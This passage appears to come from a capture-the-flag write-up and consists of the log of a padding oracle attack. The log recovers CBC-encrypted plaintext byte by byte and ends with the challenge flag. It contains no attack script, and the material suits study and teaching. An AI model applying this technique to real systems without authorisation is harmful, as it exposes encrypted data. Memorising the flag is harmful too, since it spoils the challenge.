[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000000000000000000000505050505

[+] Found 5 bytes : 0c0c0c0c0c

[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864443B9201F2D60135B7759
[+] Block M_Byte : 000000000000000000000c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000000000000000000060606060606

[+] Found 6 bytes : 0c0c0c0c0c0c

[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864443B920142C61125A7658
[+] Block M_Byte : 0000000000000000000c0c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000000000000000007070707070707

[+] Found 7 bytes : 0c0c0c0c0c0c0c

[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864443B9241B236E1D557957
[+] Block M_Byte : 00000000000000000c0c0c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000000000000000808080808080808

[+] Found 8 bytes : 0c0c0c0c0c0c0c0c

[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864443BC251A226F1C547856
[+] Block M_Byte : 000000000000000c0c0c0c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000000000000090909090909090909

[+] Found 9 bytes : 0c0c0c0c0c0c0c0c0c

[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864445BF2619216C1F577B55
[+] Block M_Byte : 0000000000000c0c0c0c0c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 0000000000000a0a0a0a0a0a0a0a0a0a

[+] Found 10 bytes : 0c0c0c0c0c0c0c0c0c0c

[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864344BE2718206D1E567A54
[+] Block M_Byte : 00000000000c0c0c0c0c0c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000000000b0b0b0b0b0b0b0b0b0b0b

[+] Found 11 bytes : 0c0c0c0c0c0c0c0c0c0c0c

[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864443B9201F276A19517D53
[+] Block M_Byte : 000000000c0c0c0c0c0c0c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 000000000c0c0c0c0c0c0c0c0c0c0c0c

[+] Found 12 bytes : 0c0c0c0c0c0c0c0c0c0c0c0c

[+] Test [Byte 125/256 - Block 4 ]: 82FF73F2874542B8211E266B18507C52
[+] Block M_Byte : 0000007d0c0c0c0c0c0c0c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 0000000d0d0d0d0d0d0d0d0d0d0d0d0d

[+] Found 13 bytes : 7d0c0c0c0c0c0c0c0c0c0c0c0c

[+] Test [Byte 115/256 - Block 4 ]: 82FF0EF1844641BB221D25681B537F51
[+] Block M_Byte : 0000737d0c0c0c0c0c0c0c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000e0e0e0e0e0e0e0e0e0e0e0e0e0e

[+] Found 14 bytes : 737d0c0c0c0c0c0c0c0c0c0c0c0c

[+] Test [Byte 100/256 - Block 4 ]: 82940FF0854740BA231C24691A527E50
[+] Block M_Byte : 0064737d0c0c0c0c0c0c0c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 000f0f0f0f0f0f0f0f0f0f0f0f0f0f0f

[+] Found 15 bytes : 64737d0c0c0c0c0c0c0c0c0c0c0c0c

[+] Test [Byte 110/256 - Block 4 ]: FC8B10EF9A585FA53C033B76054D614F
[+] Block M_Byte : 6e64737d0c0c0c0c0c0c0c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 10101010101010101010101010101010

[+] Found 16 bytes : 6e64737d0c0c0c0c0c0c0c0c0c0c0c0c

[+] Search value block :  3 

[+] Test [Byte 051/256 - Block 3 ]: BBECA475CFCA263E74C18716FBCA721F
[+] Block M_Byte : 00000000000000000000000000000033
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000000000000000000000000000001

[+] Found 1 bytes : 33

[+] Test [Byte 103/256 - Block 3 ]: BBECA475CFCA263E74C18716FBCA171C
[+] Block M_Byte : 00000000000000000000000000006733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000000000000000000000000000202

[+] Found 2 bytes : 6733

[+] Test [Byte 051/256 - Block 3 ]: BBECA475CFCA263E74C18716FBFA161D
[+] Block M_Byte : 00000000000000000000000000336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000000000000000000000000030303

[+] Found 3 bytes : 336733

[+] Test [Byte 108/256 - Block 3 ]: BBECA475CFCA263E74C1871693FD111A
[+] Block M_Byte : 0000000000000000000000006c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000000000000000000000004040404

[+] Found 4 bytes : 6c336733

[+] Test [Byte 095/256 - Block 3 ]: BBECA475CFCA263E74C1874C92FC101B
[+] Block M_Byte : 00000000000000000000005f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000000000000000000000505050505

[+] Found 5 bytes : 5f6c336733

[+] Test [Byte 051/256 - Block 3 ]: BBECA475CFCA263E74C1B24F91FF1318
[+] Block M_Byte : 00000000000000000000335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000000000000000000060606060606

[+] Found 6 bytes : 335f6c336733

[+] Test [Byte 114/256 - Block 3 ]: BBECA475CFCA263E74B4B34E90FE1219
[+] Block M_Byte : 00000000000000000072335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000000000000000007070707070707

[+] Found 7 bytes : 72335f6c336733

[+] Test [Byte 052/256 - Block 3 ]: BBECA475CFCA263E48BBBC419FF11D16
[+] Block M_Byte : 00000000000000003472335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000000000000000808080808080808

[+] Found 8 bytes : 3472335f6c336733

[+] Test [Byte 095/256 - Block 3 ]: BBECA475CFCA266849BABD409EF01C17
[+] Block M_Byte : 000000000000005f3472335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000000000000090909090909090909

[+] Found 9 bytes : 5f3472335f6c336733

[+] Test [Byte 121/256 - Block 3 ]: BBECA475CFCA556B4AB9BE439DF31F14
[+] Block M_Byte : 000000000000795f3472335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 0000000000000a0a0a0a0a0a0a0a0a0a

[+] Found 10 bytes : 795f3472335f6c336733

[+] Test [Byte 051/256 - Block 3 ]: BBECA475CFF2546A4BB8BF429CF21E15
[+] Block M_Byte : 000000000033795f3472335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000000000b0b0b0b0b0b0b0b0b0b0b

[+] Found 11 bytes : 33795f3472335f6c336733

[+] Test [Byte 104/256 - Block 3 ]: BBECA475ABF5536D4CBFB8459BF51912
[+] Block M_Byte : 000000006833795f3472335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 000000000c0c0c0c0c0c0c0c0c0c0c0c

[+] Found 12 bytes : 6833795f3472335f6c336733

[+] Test [Byte 116/256 - Block 3 ]: BBECA40CAAF4526C4DBEB9449AF41813
[+] Block M_Byte : 000000746833795f3472335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 0000000d0d0d0d0d0d0d0d0d0d0d0d0d

[+] Found 13 bytes : 746833795f3472335f6c336733

[+] Test [Byte 095/256 - Block 3 ]: BBECF50FA9F7516F4EBDBA4799F71B10
[+] Block M_Byte : 00005f746833795f3472335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000e0e0e0e0e0e0e0e0e0e0e0e0e0e

[+] Found 14 bytes : 5f746833795f3472335f6c336733

[+] Test [Byte 115/256 - Block 3 ]: BB90F40EA8F6506E4FBCBB4698F61A11
[+] Block M_Byte : 00735f746833795f3472335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 000f0f0f0f0f0f0f0f0f0f0f0f0f0f0f

[+] Found 15 bytes : 735f746833795f3472335f6c336733

[+] Test [Byte 104/256 - Block 3 ]: C38FEB11B7E94F7150A3A45987E9050E
[+] Block M_Byte : 68735f746833795f3472335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 10101010101010101010101010101010

[+] Found 16 bytes : 68735f746833795f3472335f6c336733

[+] Search value block :  2 

[+] Test [Byte 116/256 - Block 2 ]: 9CF304412717053CD1011FC8B738D2C2
[+] Block M_Byte : 00000000000000000000000000000074
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000000000000000000000000000001

[+] Found 1 bytes : 74

[+] Test [Byte 121/256 - Block 2 ]: 9CF304412717053CD1011FC8B738A9C1
[+] Block M_Byte : 00000000000000000000000000007974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000000000000000000000000000202

[+] Found 2 bytes : 7974

[+] Test [Byte 109/256 - Block 2 ]: 9CF304412717053CD1011FC8B756A8C0
[+] Block M_Byte : 000000000000000000000000006d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000000000000000000000000030303

[+] Found 3 bytes : 6d7974

[+] Test [Byte 095/256 - Block 2 ]: 9CF304412717053CD1011FC8EC51AFC7
[+] Block M_Byte : 0000000000000000000000005f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000000000000000000000004040404

[+] Found 4 bytes : 5f6d7974

[+] Test [Byte 116/256 - Block 2 ]: 9CF304412717053CD1011FB9ED50AEC6
[+] Block M_Byte : 0000000000000000000000745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000000000000000000000505050505

[+] Found 5 bytes : 745f6d7974

[+] Test [Byte 048/256 - Block 2 ]: 9CF304412717053CD10129BAEE53ADC5
[+] Block M_Byte : 0000000000000000000030745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000000000000000000060606060606

[+] Found 6 bytes : 30745f6d7974

[+] Test [Byte 110/256 - Block 2 ]: 9CF304412717053CD16828BBEF52ACC4
[+] Block M_Byte : 0000000000000000006e30745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000000000000000007070707070707

[+] Found 7 bytes : 6e30745f6d7974

[+] Test [Byte 095/256 - Block 2 ]: 9CF304412717053C866727B4E05DA3CB
[+] Block M_Byte : 00000000000000005f6e30745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000000000000000808080808080808

[+] Found 8 bytes : 5f6e30745f6d7974

[+] Test [Byte 051/256 - Block 2 ]: 9CF3044127170506876626B5E15CA2CA
[+] Block M_Byte : 00000000000000335f6e30745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000000000000090909090909090909

[+] Found 9 bytes : 335f6e30745f6d7974

[+] Test [Byte 114/256 - Block 2 ]: 9CF3044127177D05846525B6E25FA1C9
[+] Block M_Byte : 00000000000072335f6e30745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 0000000000000a0a0a0a0a0a0a0a0a0a

[+] Found 10 bytes : 72335f6e30745f6d7974

[+] Test [Byte 052/256 - Block 2 ]: 9CF3044127287C04856424B7E35EA0C8
[+] Block M_Byte : 00000000003472335f6e30745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000000000b0b0b0b0b0b0b0b0b0b0b

[+] Found 11 bytes : 3472335f6e30745f6d7974

[+] Test [Byte 095/256 - Block 2 ]: 9CF30441742F7B03826323B0E459A7CF
[+] Block M_Byte : 000000005f3472335f6e30745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 000000000c0c0c0c0c0c0c0c0c0c0c0c

[+] Found 12 bytes : 5f3472335f6e30745f6d7974

[+] Test [Byte 115/256 - Block 2 ]: 9CF3043F752E7A02836222B1E558A6CE
[+] Block M_Byte : 000000735f3472335f6e30745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 0000000d0d0d0d0d0d0d0d0d0d0d0d0d

[+] Found 13 bytes : 735f3472335f6e30745f6d7974

[+] Test [Byte 051/256 - Block 2 ]: 9CF3393C762D7901806121B2E65BA5CD
[+] Block M_Byte : 000033735f3472335f6e30745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000e0e0e0e0e0e0e0e0e0e0e0e0e0e

[+] Found 14 bytes : 33735f3472335f6e30745f6d7974

[+] Test [Byte 108/256 - Block 2 ]: 9C90383D772C7800816020B3E75AA4CC
[+] Block M_Byte : 006c33735f3472335f6e30745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 000f0f0f0f0f0f0f0f0f0f0f0f0f0f0f

[+] Found 15 bytes : 6c33735f3472335f6e30745f6d7974

[+] Test [Byte 099/256 - Block 2 ]: EF8F27226833671F9E7F3FACF845BBD3
[+] Block M_Byte : 636c33735f3472335f6e30745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 10101010101010101010101010101010

[+] Found 16 bytes : 636c33735f3472335f6e30745f6d7974

[+] Search value block :  1 

[+] Test [Byte 052/256 - Block 1 ]: BF27AAF4B8E66094F6BCE5717CF288AF
[+] Block M_Byte : 00000000000000000000000000000034
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000000000000000000000000000001

[+] Found 1 bytes : 34

[+] Test [Byte 114/256 - Block 1 ]: BF27AAF4B8E66094F6BCE5717CF2F8AC
[+] Block M_Byte : 00000000000000000000000000007234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000000000000000000000000000202

[+] Found 2 bytes : 7234

[+] Test [Byte 048/256 - Block 1 ]: BF27AAF4B8E66094F6BCE5717CC1F9AD
[+] Block M_Byte : 00000000000000000000000000307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000000000000000000000000030303

[+] Found 3 bytes : 307234

[+] Test [Byte 095/256 - Block 1 ]: BF27AAF4B8E66094F6BCE57127C6FEAA
[+] Block M_Byte : 0000000000000000000000005f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000000000000000000000004040404

[+] Found 4 bytes : 5f307234

[+] Test [Byte 103/256 - Block 1 ]: BF27AAF4B8E66094F6BCE51326C7FFAB
[+] Block M_Byte : 0000000000000000000000675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000000000000000000000505050505

[+] Found 5 bytes : 675f307234

[+] Test [Byte 110/256 - Block 1 ]: BF27AAF4B8E66094F6BC8D1025C4FCA8
[+] Block M_Byte : 000000000000000000006e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000000000000000000060606060606

[+] Found 6 bytes : 6e675f307234

[+] Test [Byte 049/256 - Block 1 ]: BF27AAF4B8E66094F68A8C1124C5FDA9
[+] Block M_Byte : 000000000000000000316e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000000000000000007070707070707

[+] Found 7 bytes : 316e675f307234

[+] Test [Byte 100/256 - Block 1 ]: BF27AAF4B8E660949A85831E2BCAF2A6
[+] Block M_Byte : 000000000000000064316e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000000000000000808080808080808

[+] Found 8 bytes : 64316e675f307234

[+] Test [Byte 100/256 - Block 1 ]: BF27AAF4B8E660F99B84821F2ACBF3A7
[+] Block M_Byte : 000000000000006464316e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000000000000090909090909090909

[+] Found 9 bytes : 6464316e675f307234

[+] Test [Byte 052/256 - Block 1 ]: BF27AAF4B8E65EFA9887811C29C8F0A4
[+] Block M_Byte : 000000000000346464316e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 0000000000000a0a0a0a0a0a0a0a0a0a

[+] Found 10 bytes : 346464316e675f307234

[+] Test [Byte 112/256 - Block 1 ]: BF27AAF4B89D5FFB9986801D28C9F1A5
[+] Block M_Byte : 000000000070346464316e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000000000b0b0b0b0b0b0b0b0b0b0b

[+] Found 11 bytes : 70346464316e675f307234

[+] Test [Byte 123/256 - Block 1 ]: BF27AAF4CF9A58FC9E81871A2FCEF6A2
[+] Block M_Byte : 000000007b70346464316e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 000000000c0c0c0c0c0c0c0c0c0c0c0c

[+] Found 12 bytes : 7b70346464316e675f307234

[+] Test [Byte 116/256 - Block 1 ]: BF27AA8DCE9B59FD9F80861B2ECFF7A3
[+] Block M_Byte : 000000747b70346464316e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 0000000d0d0d0d0d0d0d0d0d0d0d0d0d

[+] Found 13 bytes : 747b70346464316e675f307234

[+] Test [Byte 120/256 - Block 1 ]: BF27DC8ECD985AFE9C8385182DCCF4A0
[+] Block M_Byte : 000078747b70346464316e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000e0e0e0e0e0e0e0e0e0e0e0e0e0e

[+] Found 14 bytes : 78747b70346464316e675f307234

[+] Test [Byte 051/256 - Block 1 ]: BF1BDD8FCC995BFF9D8284192CCDF5A1
[+] Block M_Byte : 003378747b70346464316e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 000f0f0f0f0f0f0f0f0f0f0f0f0f0f0f

[+] Found 15 bytes : 3378747b70346464316e675f307234

[+] Test [Byte 110/256 - Block 1 ]: C104C290D38644E0829D9B0633D2EABE
[+] Block M_Byte : 6e3378747b70346464316e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 10101010101010101010101010101010

[+] Found 16 bytes : 6e3378747b70346464316e675f307234


[+] Decrypted value (HEX): 6E3378747B70346464316E675F307234636C33735F3472335F6E30745F6D797468735F746833795F3472335F6C3367336E64737D0C0C0C0C0C0C0C0C0C0C0C0C
[+] Decrypted value (ASCII): n3xt{p4dd1ng_0r4cl3s_4r3_n0t_myths_th3y_4r3_l3g3nds}
1
n3xt{p4dd1ng_0r4cl3s_4r3_n0t_myths_th3y_4r3_l3g3nds}
This post is licensed under CC BY 4.0 by the author.